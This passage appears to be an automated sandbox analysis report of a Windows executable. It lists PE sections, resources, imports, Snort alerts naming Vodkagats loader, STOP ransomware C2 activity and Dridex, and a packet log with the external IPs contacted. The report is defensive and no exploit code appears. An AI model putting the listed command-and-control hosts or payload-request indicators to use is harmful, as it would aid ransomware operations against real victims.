.text	0x1000	0xfd88	0xfe00	82fe924ef5e247c37655921797608376	False	0.6031926673228346	data	6.718045794296883	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x11000	0x85c4	0x8600	5d7614c5f7637bf8c651310a61c14365	False	0.45341651119402987	OpenPGP Public Key	5.116989716755902	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1a000	0x3c85de0	0x98400	dddfd19e6d71042621a61faf5a71c720	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3ca0000	0x12368	0x12400	bb71078d9a68983aee44e026b64b2440	False	0.4386638484589041	data	5.204364673231168	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x3cad0d8	0xe	data			1.5714285714285714
AFX_DIALOG_LAYOUT	0x3cad0e8	0xe	data			1.5714285714285714
RT_CURSOR	0x3cad0f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x3cadfa0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x3cae848	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_CURSOR	0x3caede0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
RT_CURSOR	0x3cafc88	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0x3cb0530	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0x3ca0740	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.5668976545842217
RT_ICON	0x3ca15e8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.5451263537906137
RT_ICON	0x3ca1e90	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.6163294797687862
RT_ICON	0x3ca23f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.46213692946058094
RT_ICON	0x3ca49a0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.4873358348968105
RT_ICON	0x3ca5a48	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.4959016393442623
RT_ICON	0x3ca63d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.4530141843971631
RT_ICON	0x3ca68a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.42217484008528783
RT_ICON	0x3ca7748	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.47247292418772563
RT_ICON	0x3ca7ff0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5697004608294931
RT_ICON	0x3ca86b8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.4703757225433526
RT_ICON	0x3ca8c20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.4679460580912863
RT_ICON	0x3cab1c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.48334896810506567
RT_ICON	0x3cac270	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.5032786885245901
RT_ICON	0x3cacbf8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.5576241134751773
RT_STRING	0x3cb0cb0	0x2f2	data	Romanian	Romania	0.47877984084880637
RT_STRING	0x3cb0fa8	0x2aa	data	Romanian	Romania	0.4941348973607038
RT_STRING	0x3cb1258	0x4a8	data	Romanian	Romania	0.4538590604026846
RT_STRING	0x3cb1700	0x1b0	data	Romanian	Romania	0.5092592592592593
RT_STRING	0x3cb18b0	0x2d2	data	Romanian	Romania	0.4903047091412742
RT_STRING	0x3cb1b88	0x7da	data	Romanian	Romania	0.41492537313432837
RT_GROUP_CURSOR	0x3caedb0	0x30	data			0.9375
RT_GROUP_CURSOR	0x3cb0a98	0x30	data			0.9375
RT_GROUP_ICON	0x3ca6838	0x68	data	Romanian	Romania	0.6923076923076923
RT_GROUP_ICON	0x3cad060	0x76	data	Romanian	Romania	0.6779661016949152
RT_VERSION	0x3cb0ac8	0x1e4	data			0.5392561983471075

Imports

DLL	Import
KERNEL32.dll	LocalCompact, GetComputerNameW, CreateHardLinkA, BackupSeek, GetTickCount, GetConsoleAliasesA, EnumTimeFormatsA, GetUserDefaultLangID, SetCommState, LoadLibraryW, GetLocaleInfoW, ReadConsoleInputA, WriteConsoleW, MultiByteToWideChar, GetTempPathW, InterlockedExchange, GetLastError, ChangeTimerQueueTimer, SetLastError, FindResourceExW, GetProcAddress, SetFileAttributesA, BuildCommDCBW, LoadLibraryA, LocalAlloc, GetExitCodeThread, AddAtomW, RemoveDirectoryW, GlobalFindAtomW, GetModuleFileNameA, GetOEMCP, GlobalUnWire, FindFirstChangeNotificationA, LoadLibraryExA, SetCalendarInfoA, GetWindowsDirectoryW, GetConsoleProcessList, GetVolumeInformationW, GetThreadLocale, GetSystemDefaultLangID, GetStringTypeW, OutputDebugStringW, EncodePointer, DecodePointer, IsProcessorFeaturePresent, GetCommandLineA, RaiseException, RtlUnwind, IsDebuggerPresent, HeapFree, HeapAlloc, ExitProcess, GetModuleHandleExW, WideCharToMultiByte, HeapSize, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, GetFileType, DeleteCriticalSection, GetStartupInfoW, CloseHandle, GetCurrentThreadId, GetProcessHeap, WriteFile, GetModuleFileNameW, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, LoadLibraryExW, IsValidCodePage, GetACP, GetCPInfo, HeapReAlloc, LCMapStringW, GetConsoleCP, GetConsoleMode, SetFilePointerEx, SetStdHandle, FlushFileBuffers, CreateFileW
ADVAPI32.dll	DeregisterEventSource
WINHTTP.dll	WinHttpOpen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/24/24-10:27:13.117598	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49736	80	192.168.2.4	189.232.19.193
04/24/24-10:27:10.047617	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49733	80	192.168.2.4	175.119.10.231
04/24/24-10:27:10.777081	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49735	189.232.19.193	192.168.2.4
04/24/24-10:27:10.047617	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49733	80	192.168.2.4	175.119.10.231
04/24/24-10:27:10.787317	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49734	189.232.19.193	192.168.2.4
04/24/24-10:27:10.198898	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49735	80	192.168.2.4	189.232.19.193
04/24/24-10:27:13.117598	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49736	80	192.168.2.4	189.232.19.193

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 10:27:02.373007059 CEST	49730	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:02.373054981 CEST	443	49730	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:02.373157978 CEST	49730	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:02.384955883 CEST	49730	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:02.384994030 CEST	443	49730	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:02.737181902 CEST	443	49730	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:02.737262964 CEST	49730	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:02.814356089 CEST	49730	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:02.814388037 CEST	443	49730	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:02.815404892 CEST	443	49730	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:02.815494061 CEST	49730	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:02.862384081 CEST	49730	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:02.908126116 CEST	443	49730	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:03.498187065 CEST	443	49730	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:03.498332024 CEST	443	49730	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:03.498370886 CEST	49730	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:03.498440027 CEST	49730	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:03.500631094 CEST	49730	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:03.500672102 CEST	443	49730	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:04.615645885 CEST	49731	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:04.615695000 CEST	443	49731	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:04.615765095 CEST	49731	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:04.623563051 CEST	49731	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:04.623584032 CEST	443	49731	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:04.964711905 CEST	443	49731	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:04.964793921 CEST	49731	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:04.969959974 CEST	49731	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:04.969971895 CEST	443	49731	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:04.970506907 CEST	443	49731	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:04.970562935 CEST	49731	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:04.974435091 CEST	49731	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:05.016127110 CEST	443	49731	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:05.735897064 CEST	443	49731	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:05.736152887 CEST	49731	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:05.736190081 CEST	443	49731	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:05.736222982 CEST	443	49731	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:05.736234903 CEST	49731	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:05.736273050 CEST	49731	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:05.736731052 CEST	49731	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:05.736754894 CEST	443	49731	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:06.415975094 CEST	49732	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:06.416023016 CEST	443	49732	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:06.416120052 CEST	49732	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:06.427957058 CEST	49732	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:06.427978039 CEST	443	49732	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:06.764265060 CEST	443	49732	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:06.764344931 CEST	49732	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:06.771392107 CEST	49732	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:06.771404982 CEST	443	49732	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:06.771789074 CEST	443	49732	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:06.771832943 CEST	49732	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:06.773791075 CEST	49732	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:06.820116043 CEST	443	49732	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:07.533788919 CEST	443	49732	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:07.534013987 CEST	49732	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:07.534029961 CEST	443	49732	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:07.534076929 CEST	49732	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:07.534081936 CEST	443	49732	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:07.534111977 CEST	49732	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:07.534137964 CEST	443	49732	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:07.534185886 CEST	49732	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:07.534230947 CEST	49732	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:07.534245968 CEST	443	49732	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:09.738193989 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:09.991030931 CEST	49734	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:09.991172075 CEST	49735	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:10.047255039 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:10.047379971 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:10.047616959 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:10.198335886 CEST	80	49734	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:10.198388100 CEST	80	49735	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:10.198492050 CEST	49734	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:10.198652983 CEST	49735	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:10.198851109 CEST	49734	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:10.198898077 CEST	49735	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:10.461822987 CEST	80	49734	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:10.461882114 CEST	80	49735	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:10.513901949 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:10.513964891 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:10.514084101 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:10.514084101 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:10.777081013 CEST	80	49735	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:10.777252913 CEST	49735	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:10.778177023 CEST	49735	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:10.782814980 CEST	80	49735	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:10.783066034 CEST	49735	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:10.787317038 CEST	80	49734	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:10.787416935 CEST	49734	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:10.788386106 CEST	49734	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:10.792309046 CEST	80	49734	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:10.792381048 CEST	49734	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:10.825495958 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:10.825576067 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:10.825620890 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:10.825651884 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:10.827002048 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:10.827078104 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:10.827513933 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:10.827584028 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:10.982217073 CEST	80	49735	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:10.998048067 CEST	80	49734	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:11.132343054 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.132380962 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.132401943 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.132422924 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.132550001 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.132550001 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.133662939 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.133764029 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.133852005 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.133852005 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.134418964 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.134473085 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.134494066 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.134927034 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.456125021 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.456178904 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.456218004 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.456264973 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.456300020 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.456388950 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.456424952 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.456480980 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.456593037 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.456612110 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.456626892 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.456656933 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.456656933 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.456700087 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.458067894 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.458178997 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.458223104 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.458262920 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.458312988 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.458312988 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.458399057 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.458467960 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.458548069 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.458586931 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.458627939 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.458683968 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.458770037 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.458822012 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.458832026 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.458894968 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.765624046 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.765681982 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.765722036 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.765743971 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.765743971 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.765836000 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.766978979 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.767061949 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.767071009 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.767102003 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.767139912 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.767153025 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.767153025 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.767215014 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.767215967 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.767252922 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.767292023 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.767355919 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.767388105 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.767460108 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.767514944 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.767514944 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.767550945 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.767590046 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.767647028 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.767647028 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.767664909 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.767721891 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.767838955 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.767951965 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.767976046 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.768011093 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.768423080 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.768523932 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.768567085 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.768604994 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.768644094 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.768656015 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.768656015 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.768783092 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.768798113 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.768868923 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.768871069 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.768944979 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.769027948 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.769082069 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.769112110 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.769166946 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.769218922 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.769218922 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.769237995 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.769339085 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.769365072 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.769458055 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.770287991 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.770325899 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.770375967 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.770375967 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.770397902 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.770469904 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.770514965 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.770514965 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:11.770524025 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:11.771001101 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.073036909 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.073071003 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.073091030 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.073107004 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.073128939 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.073152065 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.073270082 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.073312998 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.073457003 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.073476076 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.073503971 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.073528051 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.074817896 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.074868917 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.074873924 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.074913979 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.075098038 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.075145006 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.075154066 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.075190067 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.075193882 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.075238943 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.075248957 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.075293064 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.075304985 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.075349092 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.075368881 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.075416088 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.075450897 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.075499058 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.075504065 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.075548887 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.075800896 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.075850010 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.075865984 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.075911045 CEST	49733	80	192.168.2.4	175.119.10.231
